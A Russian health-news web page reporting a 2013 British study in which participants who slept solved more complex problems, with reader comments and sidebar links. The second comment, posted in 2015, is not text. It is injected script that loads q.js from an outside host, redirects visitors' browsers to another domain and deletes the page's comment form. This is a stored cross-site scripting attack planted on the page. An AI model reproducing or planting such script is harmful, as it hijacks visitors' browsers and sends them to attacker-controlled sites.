Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  «Утро вечера мудренее» – ...  >>  «Утро вечера мудренее» – ученые доказали правоту этой поговорки
 
Обратная связь
 

«Утро вечера мудренее» – ученые доказали правоту этой поговорки

Размер шрифта
16 января 2013 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Британские ученые доказали, что сон играет важную роль в принятии решений.

утро вечера мудренее - ученые доказали правоту этой поговорки

В исследовании приняли участие 27 мужчин и 34 женщины. Ученые ставили перед участниками исследования простые и сложные задачи, которые они должны были решить немедленно или через определенное время. Если у участников было время, чтобы подумать, они проводили его по-разному: одни участники спали, а другие – бодрствовали. Проанализировав полученные результаты, ученые обнаружили, что участники, которые спали, решили больше сложных задач, чем участники остальных групп. Однако в решении простых задач различий не выявлено. 

«Как известно, сон оказывает существенное влияние на способность к решению поставленных задач. Согласно данным, полученным в нашем исследовании, наибольшее значение сон имеет при решении сложных задач. Сон помогает решить задачу благодаря тому, что мы получаем доступ к информации, которая скрыта от нашего сознания. То решение, которое приходит нам в голову после сна, может существенно отличаться от первых попыток решения проблемы. Таким образом, если вам нужно принять важное решение, отложите его на утро и хорошенько выспитесь», – поясняет один из авторов исследования, профессор Падраик Монаган из Ланкастерского университета.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

27 января 2013 в 17:28

Цитировать   |   Пожаловаться

Я согласна,решение лучше да и проще принимать на свежую голову, когда она еще не забита проблемами, которые мешают принять верное решение. А так ты сосредоточена только на самом важном. 

2 - zzzzzz

30 июня 2015 в 23:25

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как выспаться   Хороший сон спасет от диабета   Смерть от... бессоницы   Сколько спать, чтобы не было инсульта? Вы удивитесь!  
15 января 2013«Утро вечера мудренее» – ученые доказали правоту этой поговорки 30 мая 2013Храпящие люди в 3 раза чаще разбиваются на машинах! Как этого избежать
 
15 ноября 2012Хороший сон спасет от диабета 23 июля 2012Обнаружена связь между сном и ожирением!
 

Слайдшоу

1
Еда для глубокого сна
Что случилось с моим сном?
Худшая еда для сна

Тесты

1
Нормальный ли у вас сон?
Электричество в спальне
Хорошо ли Вы спите?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.